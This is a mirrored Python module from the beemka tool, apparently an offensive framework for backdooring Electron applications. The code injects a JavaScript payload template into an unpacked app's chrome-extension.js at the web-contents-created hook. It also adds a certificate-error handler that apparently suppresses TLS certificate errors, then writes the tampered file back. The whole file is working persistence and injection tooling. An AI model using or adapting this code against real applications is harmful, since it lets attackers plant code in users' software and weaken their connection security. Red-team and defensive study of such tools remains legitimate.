mirror of
https://github.com/ctxis/beemka
synced 2026-06-08 13:38:25 +00:00
Pavel Tsakalidis
58 lines
2.4 KiB
Python
58 lines
2.4 KiB
Python
import pprint, os, jsmin
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class worker:
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def __init__(self, utils):
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self.utils = utils
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def run(self, worker_data):
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module = worker_data['module']
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module_data = worker_data['module_data']
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asar_working_path = worker_data['asar_working_path']
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# First we need to generate the JS variables that we will inject into the base.js script.
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js_variables = "\n".join(self.utils.generate_js_variable(module_data, False))
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file_to_inject = os.path.join(asar_working_path, 'browser', 'chrome-extension.js')
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if os.path.isfile(file_to_inject) is False:
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return False
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file_contents = self.utils.load_file(file_to_inject)
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# Get the JavaScript payload.
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js_payload = self.utils.load_file(os.path.join(module['path'], 'templates', 'code.js'))
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js_payload = js_payload.replace("%BEEMKA_VARIABLE_PLACEHOLDER%", js_variables)
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file_contents = self.inject_payload(file_contents, js_payload)
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if file_contents is False:
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raise Exception("Could not inject payload into chrome-extension.js - probably an update broke this module")
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certificate_payload = self.utils.load_file(os.path.join(module['path'], 'templates', 'certificate-error.js'))
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file_contents = self.utils.inject_code(file_contents, 'app.on', 'certificate-error', certificate_payload, "app.on('certificate-error', (event, webContents, url, error, certificate, callback) => { %FUNCTION_CODE% });")
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with open(file_to_inject, 'w') as f:
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f.write(file_contents)
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return True
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def inject_payload(self, file_contents, payload):
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file_contents_lines = file_contents.splitlines()
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file_contents_lines_search = list(map(str.strip, file_contents_lines))
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try:
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function_definition = file_contents_lines_search.index("app.on('web-contents-created', function (event, webContents) {")
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except:
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return False
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try:
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webcontents_check = file_contents_lines_search.index("hookWebContentsEvents(webContents);", function_definition)
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except:
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return False
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data_top = file_contents_lines[0:webcontents_check + 1]
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data_bottom = file_contents_lines[webcontents_check+1:]
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contents = data_top + payload.splitlines() + data_bottom
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return "\n".join(contents)
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